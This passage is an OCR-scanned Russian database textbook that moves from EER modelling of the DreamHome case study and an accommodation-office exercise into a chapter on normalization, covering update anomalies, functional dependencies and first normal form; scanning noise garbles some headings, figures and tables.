Аналогичный анализ следует выполнить в отношении общности, существующей между различными типами собственников объектов недвижимости. В спецификациях требований пользователя Manager описаны два типа владельцев: частные лица (Private_Owner) и юридические лица (фирмы) (Business Owner). Исходя из сведений, представленных в табл. 5.2 и 5.3, можно заключить, что у этих сущностей есть некоторые общие атрибуты (Owner_No, Address и Tel_No), а также один и тот же тип связи (связь Owns с сущностью Property for_Rent). Однако у них есть и другие, несовпадающие атрибуты. В данном случае целесообразно создать суперкласс Owner с под* классами Private Owner и Business Owner, как показано на рис. 5.1. Вновь созданная связь “суперкласс/подкласс” является полной и непересекающейся, поскольку каждый владелец должен быть частным лицом или фирмой, но он не может быть одновременно и тем, и другим.
Приведенные в этом разделе примеры специализации/генерализации относительно просты. Но, как уже упоминалось выше, процесс генерализации может быть продолжен дальше. Например, сущности Staff, Manager, Supervisor, Private_Owner и Renter представляют людей с общими характеристиками (Name, Address, Tel No), а потому на их основе можно было бы создать суперкласс Person. Но в данном случае этого делать не следует, и мы оставим эти сущности так, как они есть.
Категоризация типов сущностей
Наконец, рассмотрим возможность категоризации сущностей, описанных в спецификации требований менеджера. Так же как и в случае специализации/генерализации, до определенной степени способ реализации этой возможности носит чисто субъективный характер. Рассмотрим все сущности еще раз, чтобы понять, существует ли такое требование, согласно которому нужно создать некоторый подкласс (категорию), который будет связан с несколькими разными суперклассами.
Потенциальными кандидатами для категоризации являются сущности, включенные в специализацию/генерализацию, а именно — суперкласс Staff и подклассы Manager и Supervisor, а также суперкласс Owner и подклассы Private^Owner и Busi- ness_Owner. Однако, как уже упоминалось выше, специализацию/генерализацию лучше использовать в случаях, когда сущности имеют один и тот же тип, причем обладают общими атрибутами, включая одинаковый первичный ключ. Принимая это во внимание, мы оставим этих два примера специализации/генерализации такими, как они есть и как они показаны на рис. 5.1.
Создание расширенной диаграммы „сущность-связь" .
На основе приведенных в разделе 5.1.1 спецификаций требований пользователя Manager, можно создать EER-модель данных для этого типа пользователя проекта DreamHome (в таком виде, как она показана на рис. 5.1).
Предложенная модель данных будет использована в главе 11, “Пример разработки логического проекта базы данных” для демонстрации методов логического проектирования базы данных — в частности, для демонстрации методов слияния локальных представлений пользователей с целью создания глобального представления данных всего учебного проекта DreamHome в целом.
Резюме
Тип сущности — это объект или понятие, которое характеризуется независимым существованием (с точки зрения данной организации). Сущностью называется отдельный экземпляр типа сущности, который может быть идентифицирован уникальным образом.
Слабый тип сущности — это сущность, существование которой зависит от другой сущности, а сильный тип сущности — это сущность, существование которой не зависит ни от какой другой сущности.
Атрибутом называется свойство типа сущности или типа связи.
Домен атрибута представляет собой множество значений, которые могут быть присвоены данному атрибуту.
Простой атрибут состоит из одного компонента, который характеризуется независимым существованием.
Составной атрибут состоит из нескольких компонентов, каждый из которых характеризуется независимым существованием.
Однозначный атрибут — это атрибут, содержащий по одному значению для каждой сущности.
Многозначный атрибут — это атрибут, содержащий несколько значений для каждого экземпляра сущности.
Производным атрибутом называется атрибут, содержащий значение, которое вычисляется на основе значения связанного с ним атрибута или множества атрибутов, причем не обязательно из той же сущности.
Потенциальным ключом называется атрибут или набор атрибутов, которые уникальным образом идентифицируют отдельные экземпляры типа сущности.
Первичным ключом называется некоторый выбранный потенциальный ключ сущности.
Составным ключом является потенциальный ключ, который состоит из двух и больше атрибутов.
Типом связи называется набор осмысленных ассоциаций между типами сущностей.
Связью называется совокупность сущностей, которая включает по одной сущности от каждого типа сущности, участвующей в данной связи.
Степенью типа связи называется количество сущностей-участников данной связи.
Рекурсивной связью называется связь, в которой одна и та же сущность, участвует несколько раз в разных ролях. Ролевые имена используются для определения функции каждой сущности, охваченной данной связью.
Показатель кардинальности описывает количество возможных связей для каждой сущности-участницы.
Степень участия определяет, будет ли существование сущности зависеть от связи с некоторой другой сущностью.
Ловушка разветвления возникает, если в модели данных представлена некоторая связь между типами сущностей, но путь между некоторыми экземплярами сущности определен неоднозначно.
Ловушка разрыва возникает, когда в модели предполагается связь между типами сущностей, но не существует никакого пути между некоторыми экземплярами сущностей.
Суперклассом называется тип сущности, содержащий разные подклассы, которые требуется представить в данной модели данных. Подклассом называется тип сущности, который играет отдельную роль и является членом суперкласса.
Специализация — это процесс выявления максимально возможного количества различий между членами сущности путем выделения их различных черт. Генерализация — это процесс выявления минимально возможного количества различий между членами сущности путем выделения их общих черт.
Категоризацией называется процесс моделирования единственного подкласса со связью, которая охватывает несколько суперклассов.
Вопросы
Опишите назначение высокоуровневых моделей данных в процессе проектирования базы данных.
Назовите основные концепции ER-модели и укажите способ их представления на диаграммах.
Укажите ограничения, которые могут быть наложены на сущности — участницы некоторой связи.
Опишите проблемы, которые могут возникнуть при создании ER-модели.
Назовите основные понятия EER-модели и укажите способ их представления на диаграммах.
Упражнения
Учебный проект University Accommodation Office
Предположим, что директор службы расселения студентов университета поручил вам создать базу данных для оказания помощи руководству этой службы. После выполнения фазы сбора и анализа требований, предъявляемых к ней директором, были получены такие спецификации требований к базе данных службы расселения.
В этой базе данных хранятся следующие сведения обо всех студентах очной формы обучения: регистрационный номер студента, имя и фамилия, домашний адрес (улица, город, почтовый индекс), дата рождения, пол, категория студента (например, первокурсник или старшекурсник), национальность, курящий (да или нет), особые запросы, любые дополнительные комментарии, текущий статус (поселен/ожидает заселения), а также его курс обучения. Эти сведения о студентах связаны со сведениями об аренде комнат и списке студентов, ожидающих заселения. Студенты могут арендовать комнату в корпусах университетского общежития или в отдельных квартирах для студентов. При зачислении студента в университет к нему прикрепляется один из сотрудников, который называется куратором. Куратор следит за благополучием и успеваемостью студента. Обо всех кураторах хранится такая информация: полное имя, должность, название факультета, внутренний номер телефона и номер кабинета.
Каждое общежитие имеет свое название, адрес, номер телефона и менеджера, который руководит им. Общежитие имеет только одноместные комнаты, которые характеризуются номером комнаты и арендной платой, а также номером места жительства, который является уникальным для всех общежитий данной службы расселения и используется при аренде комнаты студентом.
Служба расселения предлагает студентам возможность поселяться в отдельных, полностью меблированных квартирах для групп из 3, 4 или 5 студентов (с отдельными спальными комнатами для каждого из них). Об этих квартирах хранится следующая информация: уникальный для всех квартир номер, адрес квартиры, а также количество спальных комнат в ней. Каждая спальная комната квартиры характеризуется месячной арендной платой, номером комнаты, а также номером места жительства, который является уникальным для всех квартир данной службы расселения и используется при аренде комнаты студентом.
Студент может арендовать комнату в общежитии или в квартире на разные промежутки времени. Договора об аренде заключаются в начале каждого учебного года, причем их минимальная продолжительность может равняться одному семестру (15 неделям), а максимальная — одному году, включая 1-й и 2-й семестры, а также летний семестр. Каждому отдельному договору аренды между студентом и службой расселения присваивается уникальный номер. О каждом договоре хранится следующая информация: его номер, продолжительность аренды (в количестве семестров), имя и регистрационный номер студента, номер места жительства, номер комнаты, адрес общежития или квартиры, дата предполагаемого заселения, а также дата предполагаемого выселения (если она известна).
Студенческие квартиры регулярно инспектируются сотрудниками службы расселения с целью проверки их текущего состояния. По результатам каждой такой проверки сохраняется следующая информация: имя инспектирующего сотрудника, дата проверки, отметка о том, содержится ли жилище в должном состоянии (да или нет), а также любые дополнительные комментарии.
О сотрудниках службы расселения также сохраняется некоторая информация, а именно: номер сотрудника, его имя и фамилия, домашний адрес (улица, город, почтовый индекс), дата рождения, пол, должность (например, менеджер общежития, помощник по административной работе, уборщик), а также место работы (например, служба расселения или общежитие).
Служба расселения хранит некоторые сведения о курсах обучения в данном университете, включая такие, как номер курса, название курса (включая год), имя куратора курса, его внутренний номер телефона, номер кабинета и название факультета. Каждый студент связан с каким-то одним курсом.
Если это возможно, то, помимо сведений о каждом студенте, хранится информация о его ближайшем родственнике: имя и фамилия, степень родства, адрес (улица, город, почтовый индекс) и номер контактного телефона.
Создайте EER-модель для представления требований к данным из учебного проекта University Accommodation Office*.
выделите типы сущностей;
выделите типы связей и определите для них показатели кардинальности и степень участия сторон;
выделите атрибуты и свяжите их типами сущностей и связей;
определите потенциальные и первичные ключи сущностей;
выполните специализацию/генерализацию типов сущностей (там, где это необходимо);
выполните категоризацию типов сущностей (там, где это необходимо);
нарисуйте EER-диаграмму.
Укажите все допущения, которые были сделаны при создании этой EER-модели.
ГЛАВА
^Нормализация
В этой главе...
> : I Назначение нормализации.
Проблемы, связанные с избыточностью данных.
йИдёнтификация различных типов аномалий обновления: анома- ; f, '^иш вставки, аномалии удаления и аномалии модификации.
^ Оценка качества спроектированных дтношений.
^'ШКрнцепция функциональной зависимости как основной ин- W^/$^^^ измерения пригодности результатов группирова- /•д^^ ^^'ния атрибутов в отношения.
^f Использование функциональных зависимостей
^у^Л; Для группирования атрибутов в отношения, находящиеся 221|Ш# заданной нормальной форме.
^-Определение нормальных форм отношений.
^^Выпблнение процесса нормализации.
^Способы идентификации самых распространённых нормаль- ;^7^ ных форм: первой (1НФ), второй (2НФ) и третьей (ЗНФ), ^ а также нормальной формы Бойса-Кодда (НФБК).
Л. Способы идентификации четвертой (4НФ) и пятой (5НФ)
■*й№ \ нормальных формййиНд! ' < «
При проектировании базы данных в реляционной СУБД основной целью разработки логической модели данных является создание точного представления данных, связей между ними и требуемых ограничений. Для достижения этой цели необходимо прежде всего определить подходящий набор отношений. Метод, который используется для решения последней задачи, называется нормализацией (normalization). Нормализация представляет собой вариант восходящего подхода к проектированию базы данных, который начинается с установления связей между атрибутами. Однако в методологии проектирования баз данных, представленной в части II, “Методология”, используется нисходящий подход, который начинается с выявления основных сущностей и связей, а нормализация используется лишь в качестве метода проверки корректности полученного решения. В любом случае очень важно правильно понимать назначение методов нормализации и способы их эффективного применения на практике.
Структура этой главы
В разделе 6.1 описывается назначение и процесс выполнения нормализации. В разделе 6.2 на примерах показаны потенциальные проблемы, связанные с избыточностью данных в базовом ненормализованном отношении. В разделе 6.3 описывается основная концепция нормализации, а именно функциональная зависимость, характеризующая существующую между атрибутами связь. В разделе 6.4 представлен общий обзор нормализации, который в последующих разделах дополняется описанием четырех самых распространенных нормальных форм: первой нормальной формы (1НФ) (раздел 6.5), второй нормальной формы (2НФ) (раздел 6.6), третей нормальной формы (ЗНФ) (раздел 6.7), а также нормальной формы Бойса-Кодда (НФБК) (раздел 6.8). В разделе 6.9 представлен рабочий пример применения процесса нормализации (начиная с ненормализованной формы (ННФ) и заканчивая НФБК). В разделах 6.10 и 6.11 кратко описываются нормальные формы более высокого, чем НФБК, порядка, а именно четвертая (4НФ) и пятая (5НФ) нормальные формы соответственно. Заинтересованный в этих вопросах читатель может найти более подробное их рассмотрение в работах Елмазри и Навата (Elmasri and Navathe, 1994), а также Гавришкевича (Hawryszkiewycz, 1991).
В главе 8, “Методология логического проектирования реляционных баз данных”, продемонстрировано, как нормализация может использоваться совместно с ER- технологией (описанной в главе 5, “Модель “сущность-связь””) в ходе логического проектирования базы данных. Хотя нормализация может также использоваться для упрощения разработки других логических моделей организации данных, в этой главе будет обсуждаться только реляционная модель данных.
Для иллюстрации процесса нормализации в этой главе используются примеры из учебного проекта DreamHome, описание которого приведено в разделе 1.7. Обратите внимание на то, что некоторые имена атрибутов даны в более полном виде — для облегчения их восприятия при чтении. Например, атрибут личного номера сотрудника будет упоминаться как Staff^No, а не как Sno. В примерах этой главы в отдельных случаях будет использоваться только некоторое подмножество атрибутов, взятых из каждого отношения учебного проекта DreamHome.
Цель нормализации
Нормализация Метод создания набора отношений с заданными свойствами на основе требований к данным, установленным в некоторой организации.
Процесс нормализации был впервые предложен Э. Ф. Коддом (Codd, 1972, б). Нормализация часто выполняется в виде последовательности тестов для некоторого отношения с целью проверки его соответствия (или несоответствия) требованиям за-
данной нормальной формы. Сначала были предложены только три вида нормальных форм: первая (1НФ), вторая (2НФ) и третья (ЗНФ). Затем Р. Бойсом и Э. Ф. Коддом (Codd, 1974) было сформулировано более строгое определение третьей нормальной формы, которое получило название нормальной формы Бойса-Кодда (НФБК). Все эти нормальные формы основаны на функциональных зависимостях, существующих между атрибутами отношения (Maier, 1983).
Вслед за НФБК появились определения четвертой (4НФ) и пятой (5НФ) нормальных форм (Fagin, 1977, 1979). Однако на практике эти нормальные формы более высоких порядков используются крайне редко.
В главе 3, “Реляционная модель”, отношение было представлено состоящим из некоторого количества атрибутов, а реляционная схема — из некоторого количества отношений. Атрибуты могут группироваться в отношения с образованием реляционной схемы на основе либо здравого смысла разработчика базы данных, либо посредством вывода реляционной схемы из разработанной ER-диаграммы. При использовании любого из этих двух подходов часто требуется применять некоторый формальный метод, который поможет проектировщику базы данных найти оптимальную группировку атрибутов для каждого отношения в данной схеме.
Процесс нормализации является формальным методом, который позволяет идентифицировать отношения на основе их первичных ключей (или потенциальных ключей, как в случае НФБК) и функциональных зависимостей, существующих между их атрибутов. Проектировщики баз данных могут использовать нормализацию в виде наборов тестов, применяемых к отдельным отношениям с целью нормализации реляционной схемы до заданной конкретной формы, что позволит предотвратить возможное возникновение аномалий обновления.
Избыточность данных и аномалии обновления
Основная цель проектирования реляционной базы данных заключается в группировании атрибутов в отношения так, чтобы минимизировать избыточность данных и таким образом сократить объем памяти, необходимый для физического хранения отношений, представленных в виде таблиц. Проблемы, связанные с избыточностью данных, можно проиллюстрировать, сравнив отношения Staff и Branch, показанные в табл. 6.1 и 6.2, с отношением Staff __Branch, показанным в табл. 6.3. Отношение Staff_Branch является альтернативной формой представления отношений Staff и Branch. Упомянутые отношения описываются следующим образом:
Staff (Staff No, SName, SAddress, Position, Salary, Branch_No)
Branch (Branch No, BAddress, Tel_No)
Staff_Branch (Staff No, SName, SAddress, Position, Salary, Branch_No,
BAddress, Tel_No)
В отношении Staff^Branch содержатся избыточные данные, поскольку сведения об отделении компании повторяются в записях, относящихся к каждому сотруднику данного отделения. В противоположность этому, в отношении Branch сведения об отделении содержатся только в одной строке, а в отношении Staff повторяется только номер отделения компании (Branch_No), который представляет собой место работы каждого сотрудника. При работе с отношениями, содержащими избыточные данные, могут возникать проблемы, которые называются аномалиями обновления и подразделяются на аномалии вставки, удаления и модификации.
Таблица 6.1. Отношение Staff
Staff.No
SName
SAddress
Position
Salary
BranchNo
SL21
John White
19 Taylor St, London
Manager
30000
B5
SG37
AnnBeech
81 George St, Glasgow
Snr Asst
12000
B3
SG14
David Ford
63 Ashby St, Glasgow
Deputy
18000
B3
SA9
Mary Howe
2 Elm PI, Aberdeen
Assistant
9000
B7
SG5
Susan Brand
5 Gt Western Rd, Glasgow
Manager
24000
B3
SL41
Julie Lee
28 Malvern St, Kilburn
Assistant
9000
B5
Таблица 6.2. Отношение Branch
Branch.No
BAddress
Tel.No
B5
22 Deer Rd, London
0171-886-1212
B7
16 Argyll St, Aberdeen
01224-67125
B3
163 Main St, Glasgow
0141-339-2178
Таблица 6.3. Отношение Staff
Branch
Staff_No
SName
SAddress
Position
Salary
Branch_No BAddress
Tel.No
SL21
John White
19 Taylor St, London
Manager
30000
B5
22 Deer Rd, London
0171-8861212
SG37
AnnBeech
81 George St, Glasgow
Snr Asst
12000
B3
163 Main
St, Glasgow
0141-339
2178
SG14
David Ford
63 Ashby St, Glasgow
Deputy
18000
B3
163 Main St, Glasgow
0141-3392178
SA9
Mary Howe
2 Elm PI, Aberdeen
Assistant
9000
B7
16 Argyll
St, '
Aberdeen
01224-67125
SG5
Susan Brand
5 Gt Western Rd, Glasgow
Manager
24000
B3
163 Main
St, Glasgow
0141-3392178
SL41
Julie Lee
28 Malvern
St, Kilburn
Assistant
9000
B5
22 Deer Rd, London
0171-8861212
Аномалии вставки
Существует два основных типа аномалий вставки, которые иллюстрируются с помощью отношения Staff_Branch, показанного в табл. 6.3.
При вставке сведений о новых сотрудниках в отношение Staff_Branch необходимо указать и сведения об отделении компании, в котором эти сотрудники работают. Например, при вставке сведений о новом сотруднике отделения 'В7' потребуется ввести сведения о самом отделении 'В7', которые должны соответствовать сведениям об этом же отделении в других строках отношения Staff_Branch. Отношения, показанные в табл. 6.1 и 6.2, не могут пострадать от такого потенциального несоответствия данных, поскольку для каждого сотрудника в отношение Staff потребуется ввести только
соответствующий номер отделения компании. Кроме того, сведения об отделении компании с номером 'В7' заносятся в базу данных однократно, в виде единственной строки отношения Branch.
Для вставки сведений о новом отделении компании, которое еще не имеет собственных сотрудников, потребуется присвоить значение NULL всем атрибутам описания персонала отношения Staff_Branch, включая и личный номер сотрудника Staff-No. Однако, поскольку атрибут Staff_No является первичным ключом отношения Staff_Branch, то попытка ввести значение NULL в атрибут Stuff_No вызовет нарушение целостности сущностей (см. раздел 3.3) и потому будет отклонена. Следовательно, в отношение Staff_Branch невозможно ввести строку о новом отделении компании, содержащую определитель NULL в атрибуте Staff_No. Структура отношений, представленных в табл. 6.1 и 6.2, позволяет избежать возникновения этой проблемы, поскольку сведения об отделениях компании вводятся в отношение Branch независимо от ввода сведений о сотрудниках. Сведения о сотрудниках, которые будут работать в новом отделении компании, могут быть введены в отношение Staff позже.
Аномалии удаления
При удалении из отношения Staff -Branch строки с информацией о последнем сотруднике некоторого отделения компании, сведения об этом отделении будут полностью удалены из базы данных. Например, после удаления из отношения Staff-Branch строки для сотрудника 'Mary Howe' с личным номером ' SA9' из базы данных неявно будут удалены все сведения об отделении с номером 'В7'. Однако структура отношений, показанных в табл. 6.1 и 6.2, позволяет избежать возникновения этой проблемы, поскольку строки со сведениями об отделениях компании хранятся отдельно от строк со сведениями о сотрудниках. Связывает этих два отношения только общий атрибут Branch_No. При удалении из отношения Staff строки с номером сотрудника 'SA9' сведения об отделении *87* в отношении Branch останутся нетронутыми.
Аномалии обновления
При попытке изменения значения одного из атрибутов для некоторого отделения компании в отношении Staff Branch (например, номера телефона отделения 'ВЗ') необходимо обновить соответствующие значения в строках для всех сотрудников этого отделения. Если такой модификации будут подвергнуты не все требуемые строки отношения StaffJBranch, то в этом случае база данных будет содержать противоречивые сведения. В частности, в нашем примере для отделения компании с номером 'ВЗ' в строках, относящихся к разным сотрудникам, ошибочно могут быть указаны разные значения номера телефона этого отделения.
Все приведенные выше примеры иллюстрируют то, что представленные в табл. 6.1 и 6.2 отношения Staff и Branch обладают более приемлемыми свойствами, чем отношение Staff-Branch, представленное в табл. 6.3. Ниже в этой главе рассматриваются способы применения процесса нормализации для получения правильно спроектированных отношений. Однако вначале следует познакомиться с концепцией функциональной зависимости, которая положена в основу всего процесса нормализации. *
Свойства соединения без потерь и сохранения зависимости
Выше было продемонстрировано, что отношение Staff ^Branch подвержено аномалиям обновления и, дабы избежать этих аномалий, лучше всего выполнить его декомпозицию на отдельные отношения Staff и Branch. Однако процесс декомпозиции имеет два важных свойства, которые следует учитывать. Первое из них — это свойство соединения без потерь (lossless-join), которое позволяет восстановить любой кортеж исходного отношения, используя соответствующие кортежи меньших отношений, полученных в результате декомпозиции. Второе — свойство сохранения зависимости (dependency preservation), которое позволяет сохранить ограничения, наложенные на исходное отношение, посредством наложения некоторых ограничений на каждое из меньших отношений, полученных после декомпозиции. Иначе говоря, в результате отпадает необходимость выполнения соединения результирующих отношений с целью проверки того, не нарушается ли ограничение, наложенное на исходное отношение.
Функциональные зависимости
Функциональная зависимость (functional dependency) описывает связь между атрибутами и является одним из основных понятий нормализации. В этом разделе приводится определение данного понятия, а в следующих — описание его взаимосвязи с процессами нормализации отношений базы данных.
Определение функциональной зависимости
Функциональная Описывает связь между атрибутами отношения. Например,
зависимостьзависимостьесли в отношении R, содержащем атрибуты А и В, атрибут В функционально зависит от атрибута А (что обозначается как А->В), то каждое значение атрибута А связано только с одним значением атрибута В. (Причем каждый из атрибутов А и В может состоять из одного или нескольких атрибутов.)
зависимость
зависимость
Функциональная зависимость является смысловым (или семантическим) свойством атрибутов отношения. Семантика отношения указывает, как его атрибуты могут быть связаны друг с другом, а также определяет функциональные зависимости между атрибутами в виде ограничений, наложенных на некоторые атрибуты.
Рассмотрим отношение с атрибутами А и В, где атрибут В функционально зависит от атрибута А. Если нам известно значение атрибута А, то при рассмотрении отношения с такой зависимостью, в любой момент времени во всех строках этого отношения, содержащих указанное значение атрибута А, мы найдем одно и то же значение атрибута В. Таким образом, если две строки имеют одно и то же значение атрибута А, то они обязательно имеют одно и то же значение атрибута В. Однако для заданного значения атрибута В может существовать несколько различных значений атрибута А. Зависимость между атрибутами А и В можно схематически представить в виде диаграммы, показанной на рис. 6.1.
Атрибут В функциональноАтрибут В функциональнозависит от атрибута Азависит от атрибута А
Атрибут В функционально
Атрибут В функционально
зависит от атрибута А
зависит от атрибута А
Рис. 6.1. Диаграмма функциональной зависимости
Детерминант Детерминантом функциональной зависимости называется атрибут
или группа атрибутов, расположенная на диаграмме функциональной зависимости слева от символа стрелки.
При наличии функциональной зависимости атрибут или группа атрибутов, распо ложенная на ее диаграмме слева от символа стрелки, называется детерминанто» (determinant). Например, на рис. 6.1 атрибут А является детерминантом атрибута В.
Дальше в этой главе мы будем игнорировать тривиальные (trivial) функциональны* зависимости, т.е. зависимости типа А—>В, где атрибут В зависит от некоторого подмно жества атрибута А. Рассмотрим следующие примеры функциональных зависимостей.
: Пример 6.1. Функциональные зависимости
‘ Рассмотрим атрибуты Staff_No и Position отношения Staff, представленного в табл. 6.1. Зная значение атрибута Staff_No (например, 'SL21'), можно определить
- должность, занимаемую этим сотрудником ('Manager'). Иначе говоря, атрибут Posi-
* tion функционально зависит от атрибута Staff_No, как показано на рис. 6.2, а. Од, нако из рис. 6.2, б видно, что обратное утверждение неверно, поскольку атрибут : Staff_No функционально не зависит от атрибута Position. Другими словами, каждый сотрудник может занимать только одну должность, однако может быть несколько сотрудников с одинаковыми должностями.
Связь между атрибутами Staff_No и Position относится к типу 1:1, поскольку для . каждого номера сотрудника имеется только одна должность. А связь между атри- t бутами Position и Staff_No имеет тип 1:М, так как существует сразу несколько номеров сотрудников (т.е. сотрудников), занимающих одну и ту же должность. В данном примере атрибут Staff_No является детерминантом функциональной зави-
. симости Staff_No—>Position.
Личный номер SL21Личный номер SL21РуководительРуководитель(а)(а)Руководитель(б)Руководитель(б)Личный номер SL21Личный номер SL21Рис. 6.2: а) атрибут, Position функционально зависит от атрибута Staff_No ( Staff_No-»Position); б) атрибут Staff^No функционально не зависит от атрибута Position (Position ^Staff_No)Рис. 6.2: а) атрибут, Position функционально зависит от атрибута Staff_No ( Staff_No-»Position); б) атрибут Staff^No функционально не зависит от атрибута Position (Position ^Staff_No)Личный номер SG5Личный номер SG5
Личный номер SL21
Личный номер SL21
Руководитель
Руководитель
(а)
(а)
Руководитель
(б)
Руководитель
(б)
Личный номер SL21
Личный номер SL21
Рис. 6.2: а) атрибут, Position функционально зависит от атрибута Staff_No ( Staff_No-»Position); б) атрибут Staff^No функционально не зависит от атрибута Position (Position ^Staff_No)
Рис. 6.2: а) атрибут, Position функционально зависит от атрибута Staff_No ( Staff_No-»Position); б) атрибут Staff^No функционально не зависит от атрибута Position (Position ^Staff_No)
Личный номер SG5
Личный номер SG5
i Пример 6.2. Функциональные зависимости отношения Staff_Branch
Рассмотрим функциональные зависимости отношения Staff_Branch, представленного в табл. 6.3.
Staff_No->SName
StaffJto-iSAddress
Staff No-^Position
Staff_No->Salary
; Staff_No->Branch_No
: Staff_No-^BAddress
Staff_No->Tel_No
Branch_No->BAddress
* Branch_No->Tel_No
; BAddress—>Branch_No
BAddress->Tel_No
Tel_No-»Branch_No
’ Tel_No->BAddress
. В отношении Staff_Branch существует 13 функциональных зависимостей, в которых атрибуты Staff_No, Branch_No, BAddress и Tel_No играют роль детерминантов. (В данном случае предполагается, что каждое отделение компании обладает только ,
одним телефоном.) Ниже показан альтернативный формат представления этих же функциональных зависимостей.
Staff_No->SName, SAddress, Position, Salary, Branch_No, BAddress, Tel_No
Branch_No-»BAddress, Tel_No
BAddress—>Branch_No, Tel_No
Tel_No->Branch_No, BAddress
Для выявления потенциальных ключей отношения Staff_Branch необходимо найти атрибут (или группу атрибутов), который уникальным образом идентифицирует каждую строку этого отношения. Если отношение обладает несколькими потенци- ' альными ключами, то нужно выбрать среди них тот, который станет первичным ключом отношения (см. раздел 3.2.5). Все атрибуты, которые не являются частью первичного ключа должны функционально зависеть от него.
Единственным потенциальным ключом отношения Staff_Branch, а значит, и его первичным ключом, является атрибут Staff_No, так как все другие атрибуты этого , отношения функционально зависят от Staff_No. Хотя атрибуты Branch_No, BAddress и Tel_No являются детерминантами этого отношения, они не являются его потенциальными ключами.
Концепция функциональной зависимости является центральным понятием процесса нормализации, который рассматривается в следующих разделах.
Процесс нормализации
Нормализация — это формальный метод анализа отношений на основе их первичного ключа (или потенциальных ключей, как в случае НФБК) и существующих функциональных зависимостей. Он включает ряд правил, которые могут использоваться для проверки отдельных отношений таким образом, чтобы вся база данных могла быть нормализована до желаемой степени нормализации. Если некоторое требование не удовлетворяется, то нарушающее данное требование отношение должно быть декомпозировано на отношения, каждое из которых (в отдельности) удовлетворяет всем требованиям нормализации.
Зачастую нормализация осуществляется в несколько последовательно выполняющихся этапов, каждый из которых соответствует некоторой нормальной форме, обладающей известными свойствами. В ходе нормализации формат отношений становится все более строгим и менее уязвимым по отношению к аномалиям обновления. При работе с реляционной моделью данных важно понимать, что только удовлетворение требований первой нормальной формы (1НФ) обязательно для создания отношений приемлемого качества. Все остальные формы могут использоваться по желанию про-
ектировщиков. Однако, для того чтобы избежать аномалий обновления, описанных в разделе 6.2, нормализацию рекомендуется выполнять как минимум до ЗНФ.
На рис, 6.3 показана схема процесса нормализации и продемонстрирована взаимосвязь между разными нормальными формами. Видно, что одни 1НФ-отношения могут находиться во 2НФ, другие 2НФ-отношения — в ЗНФ и т.д.
Рис. 6.3. Схема взаимосвязей между отдельными нормальными формами
В следующих разделах процесс нормализации показан на примере преобразования данных, которые в исходном состоянии имели вид формы табличного формата со строками и столбцами. Важно отметить, что в главе 7, “Методология концептуального проектирования баз данных”, представлена методика концептуального проектирования базы данных, согласно которой рекомендуется, в первую очередь разобраться со связями между данными подобной формы с помощью технологии ER- моделирования, описанной в главе 5, “Модель “сущность-связь””. Однако в этой главе технология ER-моделирования не используется, а достижение понимания смысла данных в обсуждаемой форме происходит непосредственно в процессе нормализации.
Первая нормальная форма (1 НФ)
Перед обсуждением первой нормальной формы целесообразно предварительно дать определение того состояния, которое предшествует ей.
Ненормализованная Таблица, содержащая одну или несколько повторяющихся форма (ННФ)групп данных.
Первая нормальная Отношение, в котором на пересечении каждой строки и форма (1НФ)каждого столбца содержится только одно значение.
В этой главе процесс нормализации начинается с преобразования данных из формата источника (например, из формата стандартной формы ввода данных) в формат таблицы со строками и столбцами. На исходном этапе таблица находится в ненормализованной форме (ННФ) и часто называется ненормализованной таблицей. Для преобразования ненормализованной таблицы в первую нормальную форму (1НФ) в исходной таблице следует найти и устранить все повторяющиеся группы данных. Повторяющейся группой называется группа, состоящая из одного и более атрибутов таблицы, в которой возможно наличие нескольких значений для единственного значения ключевого атрибута таблицы. Обратите внимание на то, что в данном контексте термин “ключ” равным образом относится и к одному атрибуту, и к группе атрибутов, которые единственным образом идентифицируют каждую строку ненормализованной таблицы. Существует два подхода исключения повторяющихся групп из ненормализованных таблиц.
В первом подходе повторяющиеся группы устраняются путем ввода соответствующих данных в пустые столбцы строк с повторяющимися данными. Иначе говоря, пустые места при этом заполняются дубликатами неповторяющихся данных. Этот подход часто называют “выравниванием” (“flattening”) таблицы. Полученная в результате этих действий таблица, которая теперь будет называться отношением, содержит атомарные (или единственные) значения на пересечении каждой строки с каждым столбцом, а потому находится в первой нормальной форме. В результате такого подхода в полученное отношение вносится некоторая избыточность данных, которая в ходе дальнейшей нормализации будет устранена.
Во втором подходе один атрибут или группа атрибутов назначаются ключом ненормализованной таблицы, а затем повторяющиеся группы изымаются и помещаются в отдельные отношения вместе с копиями ключа исходной таблицы. Далее в новых отношениях устанавливаются первичные ключи. Иногда ненормализованные отношения могут содержать одну или несколько повторяющихся групп внутри повторяющихся групп первого порядка. В таких случаях данный прием применяется до тех пор, пока повторяющихся групп совсем не останется. Полученный набор отношений будет находиться в первой нормальной форме только тогда, когда ни в одном из них не будет повторяющихся групп атрибутов.
Хотя оба этих подхода одинаково корректны, следует отметить, что при использовании второго подхода полученные отношения находятся как минимум в 1НФ и обладают меньшей избыточностью данных. При выборе первого подхода выровненное 1НФ- отношение декомпозируется в ходе дальнейшей нормализации на те же отношения, которые могли бы быть получены с помощью второго подхода. В этом разделе использование обоих этих подходов демонстрируется на примере учебного проекта DreamHome.
< Пример 6.3. Первая нормальная форма (1НФ) .
; Показанная на рис. 6.4 форма “Customer Rental Details” из учебного проекта I DreamHome содержит сведения об объектах недвижимости, арендованных клиен- 5 том по имени 'John Kay'. Для упрощения этого примера предположим, что клиент арендует некоторый объект только один раз и не может арендовать одновременно сразу несколько объектов.
. Данные об объектах, арендованных двумя клиентами, 'John Kay' и 'Aline Stewart1, * преобразуются из формы “Customer Rental Details” в таблицу со строками и столб, цами, формат которой представлен в табл. 6.4. Эта исходная таблица данных яв- ‘ ляется примером ненормализованной таблицы (ННФ). *
1,806 1' Cust^rRental^
Customer Name John KayCustomer Number CR766
Property Number
Property Address
Rent Start
Rent . - finish \
Rent
Owner f Number!
tName^ ^
PG4
PG16
6 Lawrence St, Glasgow
5 Novar Dr, Glasgow
1-Jul-94
1-Sep-96
31-Aug-96
1-Sep-98
350
450
CO40 z
CO93
Tina Murphy^
Лрг^^нШ
Рис. 6.4. Форма “Customer Rental Details” из учебного проекта DreamHome
Таблица 6.4. Ненормализованная таблица Customer_Rental
Customer, No
CName
Property No
PAddress
Rentstart
RentFinish
Rent
Owner
No
OName
CR76
John Kay
PG4
6 Lawrence
St, Glasgow
1-Jul-94
31-Aug-96
350
CO40
Tina
Murphy
PG16
5 Novar Dr, Glasgow
1-Sep-96
1-Sep-98
450
CO93
Tony Shaw
CR56
Aline Stewart
PG4
6 Lawrence
St, Glasgow
1-Sep-92
10-Jun-94
350
CO40
Tina Murphy
PG36
2 Manor
Rd, Glasgow
10-Oct-94
1 -Dec-95
375
CO93
Tony Shaw
PG16
